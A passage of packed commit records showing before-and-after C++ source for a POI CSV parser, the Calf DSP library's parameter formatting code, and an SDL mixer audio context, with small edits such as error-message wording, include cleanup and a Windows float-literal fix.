\"utils\/functions.h\"\n\n\nnamespace ed{ namespace connectors{\nPoiParser::PoiParser(const std::string & path, const ed::connectors::ConvCoord& conv_coord): path(path), conv_coord(conv_coord){\n logger = log4cplus::Logger::getInstance(\"log\");\n}\n\n\nvoid PoiParser::fill_poi_type(){\n CsvReader reader(this->path + \"\/poi_type.txt\" , ';', true, true);\n if(!reader.is_open()) {\n throw PoiParserException(\"Error on open file \" + reader.filename);\n }\n std::vector<std::string> mandatory_headers = {\"poi_type_id\" , \"poi_type_name\"};\n if(!reader.validate(mandatory_headers)) {\n throw PoiParserException(\"Impossible to parse file \" + reader.filename +\" . Not find column : \" + reader.missing_headers(mandatory_headers));\n }\n int id_c = reader.get_pos_col(\"poi_type_id\");\n int name_c = reader.get_pos_col(\"poi_type_name\");\n while(!reader.eof()){\n std::vector<std::string> row = reader.next();\n if (reader.is_valid(id_c, row) && reader.is_valid(name_c, row)){\n const auto& itm = this->data.poi_types.find(row[id_c]);\n if(itm == this->data.poi_types.end()){\n ed::types::PoiType* poi_type = new ed::types::PoiType;\n poi_type->id = this->data.poi_types.size() + 1;\n poi_type->name = row[name_c];\n this->data.poi_types[row[id_c]] = poi_type;\n }\n }\n }\n}\n\nvoid PoiParser::fill_poi(){\n CsvReader reader(this->path + \"\/poi.txt\", ';', true, true);\n if(!reader.is_open()) {\n throw PoiParserException(\"Error on open file \" + reader.filename);\n }\n std::vector<std::string> mandatory_headers = {\"poi_id\", \"poi_name\", \"poi_weight\", \"poi_visible\", \"poi_lat\", \"poi_lon\", \"poi_type_id\"};\n if(!reader.validate(mandatory_headers)) {\n throw PoiParserException(\"Impossible to parse file \" + reader.filename +\" . Not find column : \" + reader.missing_headers(mandatory_headers));\n }\n int id_c = reader.get_pos_col(\"poi_id\");\n int name_c = reader.get_pos_col(\"poi_name\");\n int weight_c = reader.get_pos_col(\"poi_weight\");\n int visible_c = reader.get_pos_col(\"poi_visible\");\n int lat_c = reader.get_pos_col(\"poi_lat\");\n int lon_c = reader.get_pos_col(\"poi_lon\");\n int type_id_c = reader.get_pos_col(\"poi_type_id\");\n\n while(!reader.eof()){\n std::vector<std::string> row = reader.next();\n if (reader.is_valid(id_c, row) && reader.is_valid(name_c, row)\n && reader.is_valid(weight_c, row) && reader.is_valid(visible_c, row)\n && reader.is_valid(lat_c, row) && reader.is_valid(lon_c, row)\n && reader.is_valid(type_id_c, row)){\n const auto& itm = this->data.pois.find(row[id_c]);\n if(itm == this->data.pois.end()){\n const auto& poi_type = this->data.poi_types.find(row[type_id_c]);\n if(poi_type != this->data.poi_types.end()){\n ed::types::Poi* poi = new ed::types::Poi;\n poi->id = this->data.pois.size() + 1;\n poi->name = row[name_c];\n try{\n poi->visible = boost::lexical_cast<bool>(row[visible_c]);\n }catch(boost::bad_lexical_cast ) {\n LOG4CPLUS_WARN(logger, \"Impossible to parse the visible for \" + row[id_c] + \" \" + row[name_c]);\n poi->visible = true;\n }\n try{\n poi->weight = boost::lexical_cast<int>(row[weight_c]);\n }catch(boost::bad_lexical_cast ) {\n LOG4CPLUS_WARN(logger, \"Impossible to parse the weight for \" + row[id_c] + \" \" + row[name_c]);\n poi->weight = 0;\n }\n poi->poi_type = poi_type->second;\n poi->coord = this->conv_coord.convert_to(navitia::type::GeographicalCoord(str_to_double(row[lon_c]), str_to_double(row[lat_c])));\n this->data.pois[row[id_c]] = poi;\n }\n }\n }\n }\n}\n\nvoid PoiParser::fill(){\n fill_poi_type();\n fill_poi();\n}\n\n}}\n<commit_msg>ed : modify message<commit_after>#include \"poi_parser.h\"\n#include \"type\/data.h\"\n#include \"utils\/csv.h\"\n#include \"utils\/functions.h\"\n\n\nnamespace ed{ namespace connectors{\nPoiParser::PoiParser(const std::string & path, const ed::connectors::ConvCoord& conv_coord): path(path), conv_coord(conv_coord){\n logger = log4cplus::Logger::getInstance(\"log\");\n}\n\n\nvoid PoiParser::fill_poi_type(){\n CsvReader reader(this->path + \"\/poi_type.txt\" , ';', true, true);\n if(!reader.is_open()) {\n throw PoiParserException(\"Cannot open file : \" + reader.filename);\n }\n std::vector<std::string> mandatory_headers = {\"poi_type_id\" , \"poi_type_name\"};\n if(!reader.validate(mandatory_headers)) {\n throw PoiParserException(\"Impossible to parse file \" + reader.filename +\" . Not find column : \" + reader.missing_headers(mandatory_headers));\n }\n int id_c = reader.get_pos_col(\"poi_type_id\");\n int name_c = reader.get_pos_col(\"poi_type_name\");\n while(!reader.eof()){\n std::vector<std::string> row = reader.next();\n if (reader.is_valid(id_c, row) && reader.is_valid(name_c, row)){\n const auto& itm = this->data.poi_types.find(row[id_c]);\n if(itm == this->data.poi_types.end()){\n ed::types::PoiType* poi_type = new ed::types::PoiType;\n poi_type->id = this->data.poi_types.size() + 1;\n poi_type->name = row[name_c];\n this->data.poi_types[row[id_c]] = poi_type;\n }\n }\n }\n}\n\nvoid PoiParser::fill_poi(){\n CsvReader reader(this->path + \"\/poi.txt\", ';', true, true);\n if(!reader.is_open()) {\n throw PoiParserException(\"Cannot open file : \" + reader.filename);\n }\n std::vector<std::string> mandatory_headers = {\"poi_id\", \"poi_name\", \"poi_weight\", \"poi_visible\", \"poi_lat\", \"poi_lon\", \"poi_type_id\"};\n if(!reader.validate(mandatory_headers)) {\n throw PoiParserException(\"Impossible to parse file \" + reader.filename +\" . Not find column : \" + reader.missing_headers(mandatory_headers));\n }\n int id_c = reader.get_pos_col(\"poi_id\");\n int name_c = reader.get_pos_col(\"poi_name\");\n int weight_c = reader.get_pos_col(\"poi_weight\");\n int visible_c = reader.get_pos_col(\"poi_visible\");\n int lat_c = reader.get_pos_col(\"poi_lat\");\n int lon_c = reader.get_pos_col(\"poi_lon\");\n int type_id_c = reader.get_pos_col(\"poi_type_id\");\n\n while(!reader.eof()){\n std::vector<std::string> row = reader.next();\n if (reader.is_valid(id_c, row) && reader.is_valid(name_c, row)\n && reader.is_valid(weight_c, row) && reader.is_valid(visible_c, row)\n && reader.is_valid(lat_c, row) && reader.is_valid(lon_c, row)\n && reader.is_valid(type_id_c, row)){\n const auto& itm = this->data.pois.find(row[id_c]);\n if(itm == this->data.pois.end()){\n const auto& poi_type = this->data.poi_types.find(row[type_id_c]);\n if(poi_type != this->data.poi_types.end()){\n ed::types::Poi* poi = new ed::types::Poi;\n poi->id = this->data.pois.size() + 1;\n poi->name = row[name_c];\n try{\n poi->visible = boost::lexical_cast<bool>(row[visible_c]);\n }catch(boost::bad_lexical_cast ) {\n LOG4CPLUS_WARN(logger, \"Impossible to parse the visible for \" + row[id_c] + \" \" + row[name_c]);\n poi->visible = true;\n }\n try{\n poi->weight = boost::lexical_cast<int>(row[weight_c]);\n }catch(boost::bad_lexical_cast ) {\n LOG4CPLUS_WARN(logger, \"Impossible to parse the weight for \" + row[id_c] + \" \" + row[name_c]);\n poi->weight = 0;\n }\n poi->poi_type = poi_type->second;\n poi->coord = this->conv_coord.convert_to(navitia::type::GeographicalCoord(str_to_double(row[lon_c]), str_to_double(row[lat_c])));\n this->data.pois[row[id_c]] = poi;\n }\n }\n }\n }\n}\n\nvoid PoiParser::fill(){\n fill_poi_type();\n fill_poi();\n}\n\n}}\n<|endoftext|>"} {"text":"<commit_before>\/* Calf DSP Library\n * Module wrapper methods.\n *\n * Copyright (C) 2001-2007 Krzysztof Foltman\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General\n * Public License along with this program; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place, Suite 330,\n * Boston, MA 02111-1307, USA.\n *\/\n#include <config.h>\n#include <assert.h>\n#include <memory.h>\n#include <calf\/giface.h>\n#include <calf\/modules.h>\n#include <calf\/lv2wrap.h>\n\nusing namespace synth;\nusing namespace std;\nusing namespace calf_utils;\n\nfloat parameter_properties::from_01(double value01) const\n{\n double value = dsp::clip(value01, 0., 1.);\n switch(flags & PF_SCALEMASK)\n {\n case PF_SCALE_DEFAULT:\n case PF_SCALE_LINEAR:\n case PF_SCALE_PERC:\n default:\n value = min + (max - min) * value01;\n break;\n case PF_SCALE_QUAD:\n value = min + (max - min) * value01 * value01;\n break;\n case PF_SCALE_LOG:\n value = min * pow(double(max \/ min), value01);\n break;\n case PF_SCALE_GAIN:\n if (value01 < 0.00001)\n value = min;\n else {\n float rmin = std::max(1.0f \/ 1024.0f, min);\n value = rmin * pow(double(max \/ rmin), value01);\n }\n break;\n case PF_SCALE_LOG_INF:\n assert(step);\n if (value01 > (step - 1.0) \/ step)\n value = FAKE_INFINITY;\n else\n value = min * pow(double(max \/ min), value01 * step \/ (step - 1.0));\n break;\n }\n switch(flags & PF_TYPEMASK)\n {\n case PF_INT:\n case PF_BOOL:\n case PF_ENUM:\n case PF_ENUM_MULTI:\n if (value > 0)\n value = (int)(value + 0.5);\n else\n value = (int)(value - 0.5);\n break;\n }\n return value;\n}\n\ndouble parameter_properties::to_01(float value) const\n{\n switch(flags & PF_SCALEMASK)\n {\n case PF_SCALE_DEFAULT:\n case PF_SCALE_LINEAR:\n case PF_SCALE_PERC:\n default:\n return double(value - min) \/ (max - min);\n case PF_SCALE_QUAD:\n return sqrt(double(value - min) \/ (max - min));\n case PF_SCALE_LOG:\n value \/= min;\n return log((double)value) \/ log((double)max \/ min);\n case PF_SCALE_LOG_INF:\n if (IS_FAKE_INFINITY(value))\n return max;\n value \/= min;\n assert(step);\n return (step - 1.0) * log((double)value) \/ (step * log((double)max \/ min));\n case PF_SCALE_GAIN:\n if (value < 1.0 \/ 1024.0) \/\/ new bottom limit - 60 dB\n return 0;\n double rmin = std::max(1.0f \/ 1024.0f, min);\n value \/= rmin;\n return log((double)value) \/ log(max \/ rmin);\n }\n}\n\nfloat parameter_properties::get_increment() const\n{\n float increment = 0.01;\n if (step > 1)\n increment = 1.0 \/ (step - 1);\n else \n if (step > 0 && step < 1)\n increment = step;\n else\n if ((flags & PF_TYPEMASK) != PF_FLOAT)\n increment = 1.0 \/ (max - min);\n return increment;\n}\n\nint parameter_properties::get_char_count() const\n{\n if ((flags & PF_SCALEMASK) == PF_SCALE_PERC)\n return 6;\n if ((flags & PF_SCALEMASK) == PF_SCALE_GAIN) {\n char buf[256];\n size_t len = 0;\n sprintf(buf, \"%0.0f dB\", 6.0 * log(min) \/ log(2));\n len = strlen(buf);\n sprintf(buf, \"%0.0f dB\", 6.0 * log(max) \/ log(2));\n len = std::max(len, strlen(buf)) + 2;\n return (int)len;\n }\n return std::max(to_string(min).length(), std::max(to_string(max).length(), to_string(max * 0.999999).length()));\n}\n\nstd::string parameter_properties::to_string(float value) const\n{\n char buf[32];\n if ((flags & PF_SCALEMASK) == PF_SCALE_PERC) {\n sprintf(buf, \"%0.f%%\", 100.0 * value);\n return string(buf);\n }\n if ((flags & PF_SCALEMASK) == PF_SCALE_GAIN) {\n if (value < 1.0 \/ 1024.0) \/\/ new bottom limit - 60 dB\n return \"-inf dB\"; \/\/ XXXKF change to utf-8 infinity\n sprintf(buf, \"%0.1f dB\", 6.0 * log(value) \/ log(2));\n return string(buf);\n }\n switch(flags & PF_TYPEMASK)\n {\n case PF_INT:\n case PF_BOOL:\n case PF_ENUM:\n case PF_ENUM_MULTI:\n value = (int)value;\n break;\n }\n\n if ((flags & PF_SCALEMASK) == PF_SCALE_LOG_INF && IS_FAKE_INFINITY(value))\n sprintf(buf, \"+inf\"); \/\/ XXXKF change to utf-8 infinity\n else\n sprintf(buf, \"%g\", value);\n \n switch(flags & PF_UNITMASK) {\n case PF_UNIT_DB: return string(buf) + \" dB\";\n case PF_UNIT_HZ: return string(buf) + \" Hz\";\n case PF_UNIT_SEC: return string(buf) + \" s\";\n case PF_UNIT_MSEC: return string(buf) + \" ms\";\n case PF_UNIT_CENTS: return string(buf) + \" ct\";\n case PF_UNIT_SEMITONES: return string(buf) + \"#\";\n case PF_UNIT_BPM: return string(buf) + \" bpm\";\n case PF_UNIT_RPM: return string(buf) + \" rpm\";\n case PF_UNIT_DEG: return string(buf) + \" deg\";\n case PF_UNIT_NOTE: \n {\n static const char *notes = \"C C#D D#E F F#G G#A A#B \";\n int note = (int)value;\n if (note < 0 || note > 127)\n return \"---\";\n return string(notes + 2 * (note % 12), 2) + i2s(note \/ 12 - 2);\n }\n }\n\n return string(buf);\n}\n\nstd::string synth::xml_escape(const std::string &src)\n{\n string dest;\n for (size_t i = 0; i < src.length(); i++) {\n \/\/ XXXKF take care of string encoding\n if (src[i] < 0 || src[i] == '\"' || src[i] == '<' || src[i] == '>' || src[i] == '&')\n dest += \"&\"+i2s((uint8_t)src[i])+\";\";\n else\n dest += src[i];\n }\n return dest;\n}\n\n<commit_msg>+ Framework: remove unnecessary dependencies of giface.cpp<commit_after>\/* Calf DSP Library\n * Module wrapper methods.\n *\n * Copyright (C) 2001-2007 Krzysztof Foltman\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General\n * Public License along with this program; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place, Suite 330,\n * Boston, MA 02111-1307, USA.\n *\/\n#include <config.h>\n#include <assert.h>\n#include <memory.h>\n#include <calf\/giface.h>\n\nusing namespace synth;\nusing namespace std;\nusing namespace calf_utils;\n\nfloat parameter_properties::from_01(double value01) const\n{\n double value = dsp::clip(value01, 0., 1.);\n switch(flags & PF_SCALEMASK)\n {\n case PF_SCALE_DEFAULT:\n case PF_SCALE_LINEAR:\n case PF_SCALE_PERC:\n default:\n value = min + (max - min) * value01;\n break;\n case PF_SCALE_QUAD:\n value = min + (max - min) * value01 * value01;\n break;\n case PF_SCALE_LOG:\n value = min * pow(double(max \/ min), value01);\n break;\n case PF_SCALE_GAIN:\n if (value01 < 0.00001)\n value = min;\n else {\n float rmin = std::max(1.0f \/ 1024.0f, min);\n value = rmin * pow(double(max \/ rmin), value01);\n }\n break;\n case PF_SCALE_LOG_INF:\n assert(step);\n if (value01 > (step - 1.0) \/ step)\n value = FAKE_INFINITY;\n else\n value = min * pow(double(max \/ min), value01 * step \/ (step - 1.0));\n break;\n }\n switch(flags & PF_TYPEMASK)\n {\n case PF_INT:\n case PF_BOOL:\n case PF_ENUM:\n case PF_ENUM_MULTI:\n if (value > 0)\n value = (int)(value + 0.5);\n else\n value = (int)(value - 0.5);\n break;\n }\n return value;\n}\n\ndouble parameter_properties::to_01(float value) const\n{\n switch(flags & PF_SCALEMASK)\n {\n case PF_SCALE_DEFAULT:\n case PF_SCALE_LINEAR:\n case PF_SCALE_PERC:\n default:\n return double(value - min) \/ (max - min);\n case PF_SCALE_QUAD:\n return sqrt(double(value - min) \/ (max - min));\n case PF_SCALE_LOG:\n value \/= min;\n return log((double)value) \/ log((double)max \/ min);\n case PF_SCALE_LOG_INF:\n if (IS_FAKE_INFINITY(value))\n return max;\n value \/= min;\n assert(step);\n return (step - 1.0) * log((double)value) \/ (step * log((double)max \/ min));\n case PF_SCALE_GAIN:\n if (value < 1.0 \/ 1024.0) \/\/ new bottom limit - 60 dB\n return 0;\n double rmin = std::max(1.0f \/ 1024.0f, min);\n value \/= rmin;\n return log((double)value) \/ log(max \/ rmin);\n }\n}\n\nfloat parameter_properties::get_increment() const\n{\n float increment = 0.01;\n if (step > 1)\n increment = 1.0 \/ (step - 1);\n else \n if (step > 0 && step < 1)\n increment = step;\n else\n if ((flags & PF_TYPEMASK) != PF_FLOAT)\n increment = 1.0 \/ (max - min);\n return increment;\n}\n\nint parameter_properties::get_char_count() const\n{\n if ((flags & PF_SCALEMASK) == PF_SCALE_PERC)\n return 6;\n if ((flags & PF_SCALEMASK) == PF_SCALE_GAIN) {\n char buf[256];\n size_t len = 0;\n sprintf(buf, \"%0.0f dB\", 6.0 * log(min) \/ log(2));\n len = strlen(buf);\n sprintf(buf, \"%0.0f dB\", 6.0 * log(max) \/ log(2));\n len = std::max(len, strlen(buf)) + 2;\n return (int)len;\n }\n return std::max(to_string(min).length(), std::max(to_string(max).length(), to_string(max * 0.999999).length()));\n}\n\nstd::string parameter_properties::to_string(float value) const\n{\n char buf[32];\n if ((flags & PF_SCALEMASK) == PF_SCALE_PERC) {\n sprintf(buf, \"%0.f%%\", 100.0 * value);\n return string(buf);\n }\n if ((flags & PF_SCALEMASK) == PF_SCALE_GAIN) {\n if (value < 1.0 \/ 1024.0) \/\/ new bottom limit - 60 dB\n return \"-inf dB\"; \/\/ XXXKF change to utf-8 infinity\n sprintf(buf, \"%0.1f dB\", 6.0 * log(value) \/ log(2));\n return string(buf);\n }\n switch(flags & PF_TYPEMASK)\n {\n case PF_INT:\n case PF_BOOL:\n case PF_ENUM:\n case PF_ENUM_MULTI:\n value = (int)value;\n break;\n }\n\n if ((flags & PF_SCALEMASK) == PF_SCALE_LOG_INF && IS_FAKE_INFINITY(value))\n sprintf(buf, \"+inf\"); \/\/ XXXKF change to utf-8 infinity\n else\n sprintf(buf, \"%g\", value);\n \n switch(flags & PF_UNITMASK) {\n case PF_UNIT_DB: return string(buf) + \" dB\";\n case PF_UNIT_HZ: return string(buf) + \" Hz\";\n case PF_UNIT_SEC: return string(buf) + \" s\";\n case PF_UNIT_MSEC: return string(buf) + \" ms\";\n case PF_UNIT_CENTS: return string(buf) + \" ct\";\n case PF_UNIT_SEMITONES: return string(buf) + \"#\";\n case PF_UNIT_BPM: return string(buf) + \" bpm\";\n case PF_UNIT_RPM: return string(buf) + \" rpm\";\n case PF_UNIT_DEG: return string(buf) + \" deg\";\n case PF_UNIT_NOTE: \n {\n static const char *notes = \"C C#D D#E F F#G G#A A#B \";\n int note = (int)value;\n if (note < 0 || note > 127)\n return \"---\";\n return string(notes + 2 * (note % 12), 2) + i2s(note \/ 12 - 2);\n }\n }\n\n return string(buf);\n}\n\nstd::string synth::xml_escape(const std::string &src)\n{\n string dest;\n for (size_t i = 0; i < src.length(); i++) {\n \/\/ XXXKF take care of string encoding\n if (src[i] < 0 || src[i] == '\"' || src[i] == '<' || src[i] == '>' || src[i] == '&')\n dest += \"&\"+i2s((uint8_t)src[i])+\";\";\n else\n dest += src[i];\n }\n return dest;\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"audio_ctx.hpp\"\n\n#include \"sound.hpp\"\n#include \"music.hpp\"\n#include \"..\/asset\/asset_manager.hpp\"\n\n#include <sf2\/sf2.hpp>\n#include <sf2\/FileParser.hpp>\n\n#include <SDL2\/SDL_mixer.h>\n\n\nnamespace mo {\n\tnamespace audio {\n\t\tnamespace {\n\n\t\t\tstruct Sounds_cfg {\n\t\t\t\tint frequence;\n\t\t\t\tint channels;\n\t\t\t\tint buffer_size;\n\t\t\t\tfloat music_volume = 0.5;\n\t\t\t\tfloat sound_volume = 1;\n\t\t\t};\n\n\t\t\tsf2_structDef(Sounds_cfg,\n\t\t\t\tsf2_member(frequence),\n\t\t\t\tsf2_member(channels),\n\t\t\t\tsf2_member(buffer_size),\n\t\t\t\tsf2_member(music_volume),\n\t\t\t\tsf2_member(sound_volume)\n\t\t\t)\n\n#ifndef EMSCRIPTEN\n\t\t\tconstexpr auto default_cfg = Sounds_cfg{44100, 2, 4096, 0.5, 1};\n#else\n\t\t\tconstexpr auto default_cfg = Sounds_cfg{44100, 2, 2048, 0.5, 1};\n#endif\n\n\t\t\tconstexpr auto create_mask(int i) -> uint16_t {\n\t\t\t\treturn i==1 ? 1 : (create_mask(i-1)<<1 | 1);\n\t\t\t}\n\n\t\t\tconstexpr auto static_channels = 16;\n\n\t\t\tconstexpr auto version_bits = 4u;\n\n\t\t\tconstexpr auto version_mask = create_mask(version_bits);\n\n\t\t\tconstexpr auto extract_channel(Channel_id c) {\n\t\t\t\treturn c>>version_bits;\n\t\t\t}\n\t\t\tconstexpr auto extract_version(Channel_id c) {\n\t\t\t\treturn c & version_mask;\n\t\t\t}\n\t\t\tconstexpr auto build_channel_id(int16_t channel, int8_t version) {\n\t\t\t\treturn channel<<version_bits | version;\n\t\t\t}\n\t\t}\n\t}\n\n\tnamespace asset {\n\t\ttemplate<>\n\t\tstruct Loader<audio::Sounds_cfg> {\n\t\t\tusing RT = std::shared_ptr<audio::Sounds_cfg>;\n\n\t\t\tstatic RT load(istream in) throw(Loading_failed) {\n\t\t\t\tauto r = std::make_shared<audio::Sounds_cfg>();\n\n\t\t\t\tsf2::parseStream(in, *r);\n\n\t\t\t\treturn r;\n\t\t\t}\n\n\t\t\tstatic void store(ostream out, const audio::Sounds_cfg& asset) throw (Loading_failed) {\n\t\t\t\tsf2::writeStream(out, asset);\n\t\t\t}\n\t\t};\n\t}\n\n\tnamespace audio {\n\n\t\tusing namespace unit_literals;\n\n\t\tAudio_ctx::Audio_ctx(asset::Asset_manager& assets)\n\t\t : _channels{}, _channels_last{}, _channel_versions{}, _channel_sounds{}\n\t\t{\n\t\t\t_channels.fill(false);\n\t\t\t_channels_last.fill(false);\n\t\t\t_channel_versions.fill(0);\n\t\t\t_channel_sounds.fill(nullptr);\n\t\t\t_free_channels.reserve(_dynamic_channels);\n\t\t\tfor(int16_t i=0; i<_dynamic_channels; ++i)\n\t\t\t\t_free_channels.push_back(i);\n\n\n\t\t\tauto& cfg = asset::unpack(assets.load_maybe<Sounds_cfg>(\"cfg:sounds\"_aid)).get_or_other(\n\t\t\t\t default_cfg\n\t\t\t);\n\n\t\t\tif(&cfg==&default_cfg) {\n\t\t\t\tassets.save<Sounds_cfg>(\"cfg:sounds\"_aid, cfg);\n\t\t\t}\n\n\t\t\t\/\/ Checking if frequence is faulty -> setting to 44100MHz\n\t\t\tint verified_frequence = (cfg.frequence % 22050 == 0) ? cfg.frequence : 44100;\n\t\t\tDEBUG(\"frequence: \" << verified_frequence << \" | \" << ((cfg.channels == 1) ? \"Mono\" : \"Stereo\")\n\t\t\t\t\t\t\t\t<< \" | buffer: \" << cfg.buffer_size);\n\n\t\t\t\/\/ Open SDL Audio Mixer\n\t\t\tif(Mix_OpenAudio(verified_frequence, MIX_DEFAULT_FORMAT, cfg.channels, cfg.buffer_size) == 0) {\n\t\t\t\tDEBUG(\"Sound_ctx succesfully initialized!\");\n\t\t\t} else {\n\t\t\t\tFAIL(\"Initializing Sound incomplete: \" << Mix_GetError());\n\t\t\t}\n\n\t\t\tMix_AllocateChannels(_dynamic_channels+static_channels);\n\t\t\tMix_ReserveChannels(_dynamic_channels);\n\n\t\t\tsound_volume(cfg.sound_volume);\n\t\t\tmusic_volume(cfg.music_volume);\n\t\t}\n\n\t\tAudio_ctx::~Audio_ctx() {\n\t\t\tMix_CloseAudio();\n\t\t}\n\n\t\tvoid Audio_ctx::flip() {\n\t\t\tfor(int16_t i=0; i<_dynamic_channels; ++i) {\n\t\t\t\tif(!_channels[i] && _channels_last[i]) {\n\t\t\t\t\tMix_Pause(i);\n\t\t\t\t\t_free_channels.push_back(i);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t_channels_last = _channels;\n\t\t\t_channels.fill(false);\n\t\t}\n\n\t\tvoid Audio_ctx::play_music(std::shared_ptr<const audio::Music> music, Time fade_time) {\n\t\t\tif(_playing_music==music)\n\t\t\t\treturn;\n\n\t\t\tif(_playing_music) {\n\t\t\t\t\/\/ TODO: fade\n\t\t\t\tMix_HaltMusic();\n\t\t\t}\n\n\t\t\t_playing_music = music;\n\t\t\tMix_FadeInMusic(music->getMusic(), -1, fade_time\/1_ms);\n\t\t}\n\n\t\tauto Audio_ctx::play_static(const audio::Sound& sound) -> Channel_id {\n\t\t\tauto c = Mix_PlayChannel(-1, sound.getSound(), 0);\n\t\t\treturn build_channel_id(c, 0);\n\t\t}\n\t\tauto Audio_ctx::play_dynamic(const audio::Sound& sound, Angle angle, Distance dist,\n\t\t bool loop, Channel_id id) -> Channel_id {\n\t\t\tint16_t c;\n\t\t\tuint8_t v;\n\n\t\t\tif(id>=0) {\n\t\t\t\tc = extract_channel(id);\n\t\t\t\tv = extract_version(id);\n\n\t\t\t\tif(v!=_channel_versions[c])\n\t\t\t\t\tid=-1;\n\n\t\t\t\telse if(_channels[c]==_channels_last[c] && !_channels[c])\n\t\t\t\t\tid=-1;\n\n\t\t\t\telse if(&sound == _channel_sounds[c]) {\n\t\t\t\t\tif(Mix_Paused(c)) {\n\t\t\t\t\t\tMix_Resume(c);\n\t\t\t\t\t\tupdate(id, angle, dist);\n\t\t\t\t\t\treturn id;\n\n\t\t\t\t\t} else if(Mix_Playing(c)) {\n\t\t\t\t\t\tupdate(id, angle, dist);\n\t\t\t\t\t\treturn id;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(id<0) {\n\t\t\t\tif(_free_channels.empty()) {\n\t\t\t\t\tDEBUG(\"No free channel left.\");\n\t\t\t\t\treturn -1;\n\t\t\t\t}\n\n\t\t\t\tc = _free_channels.back();\n\t\t\t\t_free_channels.pop_back();\n\n\t\t\t\tv = ++_channel_versions[c];\n\n\t\t\t\tid = build_channel_id(c,v);\n\t\t\t}\n\n\t\t\t_channel_sounds[c] = &sound;\n\t\t\tMix_PlayChannel(c, sound.getSound(), loop ? -1 : 0);\n\t\t\tupdate(id, angle, dist);\n\t\t\treturn id;\n\t\t}\n\n\t\tvoid Audio_ctx::update(Channel_id id, Angle angle, Distance dist) {\n\t\t\tauto c = extract_channel(id);\n\t\t\tauto v = extract_version(id);\n\t\t\tif(c<_dynamic_channels && _channel_versions[c]==v) {\n\t\t\t\tMix_SetPosition(id, angle.value(), dist.value());\n\t\t\t\t_channels[c] = true;\n\t\t\t}\n\t\t}\n\n\t\tvoid Audio_ctx::stop(Channel_id id) {\n\t\t\tauto c = extract_channel(id);\n\t\t\tauto v = extract_version(id);\n\t\t\tif(c>=_dynamic_channels || _channel_versions[c]==v)\n\t\t\t\tMix_HaltChannel(c);\n\t\t}\n\n\t\tvoid Audio_ctx::pause_sounds() {\n\t\t\tMix_Pause(-1);\n\t\t}\n\n\t\tvoid Audio_ctx::resume_sounds() {\n\t\t\tMix_Resume(-1);\n\t\t}\n\n\t\tvoid Audio_ctx::stop_sounds() {\n\t\t\tMix_HaltChannel(-1);\n\t\t\t_channels.fill(false);\n\t\t\t_channels_last.fill(false);\n\t\t\t_channel_versions.fill(0);\n\t\t\t_channel_sounds.fill(nullptr);\n\n\t\t\t_free_channels.clear();\n\t\t\tfor(int i=0; i<_dynamic_channels; ++i)\n\t\t\t\t_free_channels.push_back(i);\n\t\t}\n\n\t\tvoid Audio_ctx::sound_volume(float volume) {\n\t\t\t_sound_volume = volume;\n\t\t\tMix_Volume(-1, 128 * _sound_volume);\n\t\t}\n\n\t\tvoid Audio_ctx::music_volume(float volume) {\n\t\t\t_music_volume = volume;\n\t\t\tMix_VolumeMusic(128 * _music_volume);\n\t\t}\n\n\t}\n}\n\n<commit_msg>fix for Windows<commit_after>#include \"audio_ctx.hpp\"\n\n#include \"sound.hpp\"\n#include \"music.hpp\"\n#include \"..\/asset\/asset_manager.hpp\"\n\n#include <sf2\/sf2.hpp>\n#include <sf2\/FileParser.hpp>\n\n#include <SDL2\/SDL_mixer.h>\n\n\nnamespace mo {\n\tnamespace audio {\n\t\tnamespace {\n\n\t\t\tstruct Sounds_cfg {\n\t\t\t\tint frequence;\n\t\t\t\tint channels;\n\t\t\t\tint buffer_size;\n\t\t\t\tfloat music_volume;\n\t\t\t\tfloat sound_volume;\n\t\t\t};\n\n\t\t\tsf2_structDef(Sounds_cfg,\n\t\t\t\tsf2_member(frequence),\n\t\t\t\tsf2_member(channels),\n\t\t\t\tsf2_member(buffer_size),\n\t\t\t\tsf2_member(music_volume),\n\t\t\t\tsf2_member(sound_volume)\n\t\t\t)\n\n#ifndef EMSCRIPTEN\n\t\t\tconstexpr auto default_cfg = Sounds_cfg{44100, 2, 4096, 0.5f, 1.0f};\n#else\n\t\t\tconstexpr auto default_cfg = Sounds_cfg{44100, 2, 2048, 0.5f, 1.0f};\n#endif\n\n\t\t\tconstexpr auto create_mask(int i) -> uint16_t {\n\t\t\t\treturn i==1 ? 1 : (create_mask(i-1)<<1 | 1);\n\t\t\t}\n\n\t\t\tconstexpr auto static_channels = 16;\n\n\t\t\tconstexpr auto version_bits = 4u;\n\n\t\t\tconstexpr auto version_mask = create_mask(version_bits);\n\n\t\t\tconstexpr auto extract_channel(Channel_id c) {\n\t\t\t\treturn c>>version_bits;\n\t\t\t}\n\t\t\tconstexpr auto extract_version(Channel_id c) {\n\t\t\t\treturn c & version_mask;\n\t\t\t}\n\t\t\tconstexpr auto build_channel_id(int16_t channel, int8_t version) {\n\t\t\t\treturn channel<<version_bits | version;\n\t\t\t}\n\t\t}\n\t}\n\n\tnamespace asset {\n\t\ttemplate<>\n\t\tstruct Loader<audio::Sounds_cfg> {\n\t\t\tusing RT = std::shared_ptr<audio::Sounds_cfg>;\n\n\t\t\tstatic RT load(istream in) throw(Loading_failed) {\n\t\t\t\tauto r = std::make_shared<audio::Sounds_cfg>();\n\n\t\t\t\tsf2::parseStream(in, *r);\n\n\t\t\t\treturn r;\n\t\t\t}\n\n\t\t\tstatic void store(ostream out, const audio::Sounds_cfg& asset) throw (Loading_failed) {\n\t\t\t\tsf2::writeStream(out, 